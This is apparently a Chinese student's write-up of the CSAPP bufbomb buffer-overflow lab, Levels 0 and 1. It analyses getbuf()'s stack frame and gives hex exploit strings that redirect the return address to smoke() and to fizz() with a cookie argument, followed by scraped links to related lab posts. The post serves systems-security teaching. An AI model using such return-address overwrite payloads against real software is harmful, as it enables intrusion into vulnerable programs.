CSAPP缓冲区溢出攻击实验(上)

CSAPP缓冲区溢出攻击实验(上)

下载实验工具。最新的讲义在

网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响我们的实验。

1.实验工具

1.1 makecookie

后面实验中,五次“攻击”中有四次都是使你的cookie出如今它原本不存在的位置,所以我们首先要为自己产生一个cookie。

实验工具中的makecookie就是生成cookie用的。參数是你的名字:

[[email protected] bufbomb]$ file makecookie
makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped
[[email protected] bufbomb]$ chmod +x makecookie

[[email protected] bufbomb]$ ./makecookie cdai
0x5e5ee04e

1.2 bufbomb

bufbomb就是我们要“攻击”的程序,我下载的实验工具的这个版本号在运行时必须有-t这个參数,表示本人的名字:

[[email protected] bufbomb]$ ./bufbomb
You must include a team name with -t
Usage: ./bufbomb -t team [-n] [-s] [-h]
        -t team:   Specify team name
        -n :       Nitro mode
        -s :       Submit solution via email
        -h :       Print help information

[[email protected] bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:I love 15-213
Dud: getbuf returned 0x1
Better luck next time

[[email protected] bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:It is easier to love this class when you are a TA
Ouch!: You caused a segmentation fault!
Better luck next time

1.3 sendstring

sendstring小工具(新版叫做hex2raw)能读入我们的制作的string(十六进制)。将其发送到bufbomb的标准输入流。避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行:

[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai

[[email protected] bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai

2.热身准备

2.1 “漏洞”代码

以下这一段看似“无辜”的小函数就是产生安全漏洞的源头了,而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小。直接将用户输入的全部字符都保存进去。假设用户输入过多的字符,就会导致栈上某些数据被覆盖。从而造成了缓冲区溢出的危急:

int getbuf()
{
    char buf[12];
    Gets(buf);
    return 1;
}

2.2 缓冲区栈分析

在開始真正“攻击”之前。我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。

仅仅有全面的了解了栈结构。后面实验时我们才干随心所欲地“攻击”它。

首先,通过objdump反汇编getbuf()函数:

[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

依据getbuf()的汇编代码,如今分析一下运行时的栈结构是什么样子。基础知识能够看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来高速温习一下。这里就不赘述了。

首先。未调用getbuf()之前。%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址,此时栈世界还是一片“风平浪静”:

…………………………………………….. 0x??

<- %ebp

…………………………………………….. 0x00 <- %esp

当test()运行到call 时。依据之前的学习。call指令和getbuf()的前两条“惯用”指令会完毕这三件事儿:

  • call指令保存返回地址:所谓保存返回地址(return address)事实上就是 call指令将那一时刻的PC(%eip值,即call的下一条指令的地址)压入栈。还记得吗?由于PC自增在先,指令运行在后。所以运行完getbuf()的全部代码后,ret指令会恢复PC的值。程序就能够继续运行test()的剩余代码了。
  • getbuf()保存test()的%ebp:将test()栈帧的base地址压入到栈上。
  • getbuf()保存test()的%esp:将test()栈帧的栈顶地址保存到getbuf()的%ebp,作为getbuf()的base地址。

    leave和ret指令会负责还原%ebp和%esp。

依据这三条“惯例”,每一个函数的栈初始时都是一样的:先是return address,然后是保存的调用者的%ebp,当前的%ebp就指向这。而%esp依据分配空间的大小指向了“更低处”

接下来就是分析getbuf()独有的部分了。

開始进一步分析之前先确定两个规则:1)%ebp指向的地址作为0x00(相对地址);2)下图中寄存器指向的横线的上方是该地址上的数据

  1. lea -0x18(%ebp),%eax:利用lea运行复杂运算,%eax = %ebp - 0x18 = 0x18
  2. mov %eax,(%esp):改动%esp指向位置的值作为Gets()的入參。%(esp) = -0x28位置的数据 = -0x18
  3. call 80489c0 :调用Gets()函数。

不考虑Gets()是怎样利用入參-0x18改动buf数组,默认它会完毕这个工作。那么getbuf()的栈在调用Gets()就是这个样子:

…………………………………………….. 0x??

……………………………………………..

Return Address

…………………………………………….. 0x04

Saved %ebp

…………………………………………….. 0x00 <- %ebp

……………………………………………..

-0x18 (%eax)

…………………………………………….. -0x28 <- %esp (&arg0)

了解到这里也就足够了。以下就能够进行实验了。

温习:call, leave, ret

call A:保存%eip,调用函数

  • push %eip
  • jmp A

    leave:还原调用者的%ebp和%esp,为退出函数做准备

  • mov %ebp, %esp
  • pop %ebp

    ret:改动%eip,返回调用者继续运行

  • pop %eip

进一步回想:

push A:将A压入栈,并改动栈顶指针%esp

  • mov A, (%esp)
  • %esp += 4

    jmp A:改动%eip。“跳到别处”继续运行

  • mov A, %eip

2.3 GDB观察

GDB是Linux下强大的调试工具。简单使用说明例如以下:

  1. gdb :准备调试程序,等同于先gdb。再file 。

  2. b :为函数设置断点。

    b是break的缩写。除了函数名。还能够是地址、当前运行处的+/-偏移等。

  3. run :開始运行程序。run后面能够加程序须要的參数,就像在命令行正常运行时那样。
  4. s/n/si/c/kill:s即step in,进入下一行代码运行;n即step next。运行下一行代码但不进入。si即step instruction。运行下一条汇编/CPU指令;c即continue,继续运行直到下一个断点处。kill终止调试。

  5. bt:bt是backtrace的缩写。打印当前所在函数的堆栈路径。
  6. info frame :描写叙述选中的栈帧。
  7. info args:打印选中栈帧的參数。
  8. print :打印指定变量的值。

  9. list:列出相应的源码。
  10. quit:退出gdb。

3.“攻击”实验

3.1 Level 0: 蜡烛

实验1是要改动getbuf()的返回地址。在运行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。

而且不用操心我们会破坏栈的其它部分,由于反正smoke()运行后也是要终止程序,这也减少了难度。

void smoke()
{
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}

于是思路非常easy。依照前面的栈结构分析,我们仅仅需构造一段字符串让Gets()全部复制到buf数组了,从而造成缓冲区溢出。同一时候最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内。使其恰好覆盖到getbuf()的return address位置

那么第一步。我们先要知道smoke()的初始地址。

这非常easy。用objdump查看符号表或者.text都能找到:

[[email protected] bufbomb]$ objdump -t bufbomb 

bufbomb:     file format elf32-i386

SYMBOL TABLE:
08048134 l    d  .interp        00000000              .interp
    ...
08048f40 g     F .text  0000002a              bushandler
08048eb0 g     F .text  0000002a              smoke
00000000       F *UND*  00000017              [email protected]@GLIBC_2.0
0804a1d0 g     O .bss   00000004              team
    ...

能够清楚地看到smoke的初始地址是0x08048eb0,万事俱备。如今就能够构造“攻击”字符串了!既然题目都说了,破坏栈中的其它部分数据没关系,那除了smoke的地址。其它我们都能够“瞎写”了。

buf第一个元素的地址是-0x18,而return address第一个字节的地址是0x04,两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数,我按00到99的顺序填充:

[[email protected] bufbomb]$ cat exploit.raw
0011223344556677889900112233445566778899001122334455667708048eb0

出乎意料的是第一次运行却失败了,bufbomb提示segment fault,还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿,直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就会指向一个非法的内存地址了,当然就报段错误了。将地址调整成b0 8e 04 08后,果然成功了!

看到CMU对我说“NICE JOB!”热泪盈眶啊!

[[email protected] bufbomb]$ cat exploit.raw
00112233445566778899001122334455667788990011223344556677b08e0408

[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server

3.2 Level 1: 烟火

实验2与实验1大同小异,都是让getbuf()的调用者test()(不是getbuf())运行一个代码里未调用的函数。实验2中是fizz()函数。但实验2稍稍提高了难度。我们不仅要想法让test()运行fizz(),还要传入我们的cookie作为參数。让fizz()打印出来才算成功。

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);

    exit(0);
}

第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60,仅仅要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()运行完毕后返回到fizz()中(注意不要再忘记小尾端字节序)。也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。

第二步非常easy,用makecookie生成我的username”cdai”的cookie是0x5e5ee04e,那么如今的问题是怎样正确设置fizz()的入參呢?之前我们着重温习了call运行时被调用者要做的三件事儿,如今就温习一下调用者要做的事儿。

重温一下getbuf()的反汇编代码,以getbuf()调用Gets()为例,看一下调用者的代码和相应的栈:

[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

[[email protected] bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
08048e60 <fizz>:
 8048e60:   55                      push   %ebp
 8048e61:   89 e5                   mov    %esp,%ebp
 8048e63:   83 ec 08                sub    $0x8,%esp
 8048e66:   8b 45 08                mov    0x8(%ebp),%eax
    ...

调用Gets()之前。getbuf()负责将參数压入到栈上,參数位置是(%esp),即栈顶所指的位置。有了这个知识。我们就能够为fizz()准备入參了。但要注意三点:

  1. 多个參数的顺序问题:假如Gets()有两个參数,參数在栈上的地址顺序是:低地址(靠近栈顶)是第一个參数。高地址是第二个參数。
  2. 栈指针%ebp和%esp:当我们溢出缓冲区到getbuf()栈上的return address位置时,实际上破坏了栈上的其它数据。包含Saved %ebp。

    这样getbuf()运行return恢复%ebp时实际上是无法正常恢复到test()的位置了。注意:损坏的仅仅是%ebp。由于%esp是用%ebp还原的而不是在栈上保存的(leave=mov %ebp, %esp; pop %ebp)但这都没有关系。仅仅要開始运行fizz(),fizz()依照“惯例”会将事实上已“损坏”的%ebp再次保存到栈上,并从完善的%esp处继续运行

  3. 别忘了return address:前面讲过call指令在跳转前会压入%eip作为return address。

    也就是说fizz()的%ebp(指向saved %ebp)和调用者准备好的入參之间是隔着return address的。

这时的栈看起来非常别扭。这非常正常。由于正常情况下,getbuf()运行后应回到它的调用点,但由于我们有益破坏了它的栈,所以 getbuf()的return运行后却马上进入了还有一个函数fizz(),看起来也就不足为奇了。

…………………………………………………………………………….. 0x?

?

Data on caller’s stack => fizz()’s argument: 4ee05e5e

…………………………………………………………………………….. 0x0c

Data on caller’s stack => fizz()’s return address: padding 00112233

…………………………………………………………………………….. 0x08

Return Address of getbuf() => fizz()’s entry point: 608e0408

…………………………………………………………………………….. 0x04

Saved %ebp => padding 44556677

…………………………………………………………………………….. 0x00 <- %ebp

Buf on getbuf()’s stack => padding 00~99 00~99 00~33

……………………………………………………………………………..

-0x18 (%eax)

…………………………………………………………………………….. -0x28 <- %esp (&arg0)

以下就是进入fizz()之后的样子:依照调用者“惯例”和call指令,入參和返回地址(%eip)被压入栈上。依照被调用者“惯例”,fizz将%ebp压入栈后移动到%esp,并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()!

从fizz()的反汇编结果也验证了这一点。sub $0x8, %esp分配栈空间后。mov 0x8(%ebp), %eax将入參保存到寄存器%eax中。对比以下的栈,%ebp隔着压入栈的调用者的%ebp和返回地址8字节,因此0x8(%ebp)恰好就是我们“攻击”时放置的入參值。

…………………………………………………………………………….. 0x??

fizz()’s argument: 4ee05e5e

…………………………………………………………………………….. 0x0c

fizz()’s return address: 00112233

…………………………………………………………………………….. 0x08

Saved %ebp: 44556677

…………………………………………………………………………….. 0x04 <- %ebp

…………………………………………………………………………….. 0x00

…………………………………………………………………………….. -0x08 <- %esp

[[email protected] bufbomb]$ cat exploit_level_1.raw
00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e

[[email protected] bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Fizz!: You called fizz(0x5e5ee04e)
NICE JOB!
Sent validation information to grading server
时间: 2024-10-16 19:59:59

CSAPP缓冲区溢出攻击实验(上)的相关文章

CSAPP缓冲区溢出攻击实验(下)

CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie.因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值.若修改了.bss和.text之间某些只读的段会引起操作系

2018-5-2 缓冲区溢出攻击实验

2018-5-2 缓冲区溢出攻击实验 实验环境:实验楼自带的linux虚拟系统 1.sudo apt-get update 更新linux,主要是下载C的编译器 2.进入linux操作环境并使用bash 3.关闭系统地址的随机分配,立于之后寻址找到有漏洞的缓冲区. 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权.因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/b

缓冲区溢出攻击实验(另附源代码)

缓冲区溢出攻击代码如下: #include<Windows.h> #include<stdio.h> #include<string.h> void f(char *input) { char buffer[10]; strcpy(buffer,input); printf("缓冲区字符为=%s",buffer); /* // 进行防御,当输入长度过长时跳出 char buffer[10]; int b; b=strlen(input); if(b&

CSAPP lab3 bufbomb-缓冲区溢出攻击实验

完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有三篇博客吧. 实验目的: 通过缓冲区溢出攻击,使学生进一步理解IA-32函数调用规则和栈帧结构. 实验技能: 需要使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要学生掌握简单的IA32汇编程序编写方法. 实验要求: 5个难度等级(0-4逐级递增) 级别0.Smoke(candle):构造攻击字符串作为目标程序输入,造成缓冲区溢

实验一——缓冲区溢出漏洞实验

Linux实验一 —— 缓冲区溢出漏洞实验 20122137 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.

缓冲区溢出漏洞实验

一.实验过程及截图 输入命令安装一些用于编译32位C程序的东西: 进入32位linux环境.此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash.使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键. 把以下代码保存为“stack.c”文件,保存到 /tmp 目录下. 把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下. 结果: 上面的代码

实验一缓冲区溢出漏洞实验

一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的东西: sudo apt-

实验一:缓冲区溢出漏洞实验20115116黄婧

缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 一.实验要求 1.为了监控实验进程,我们采用私有课程方式,进入实验楼课程,单击加入私有课程,输入邀请码2YTE6J9X,个人信息中输入学号+姓名; 2.实验报告在博客园 发Blog公开,重点是实验过程中的运行结果(要有截图),遇到的问题.解决办法(不要是空洞的方法如“查网络”.“问同学”.“看书”等)以及分析(从中可以得到什么启示,有什么收获,教训

Linux实验——缓冲区溢出漏洞实验

一.     实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.     实验准备 实验楼提供的是64位Ubuntu linux(系统用户名shiyanlou,密码shiyanlou),而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的东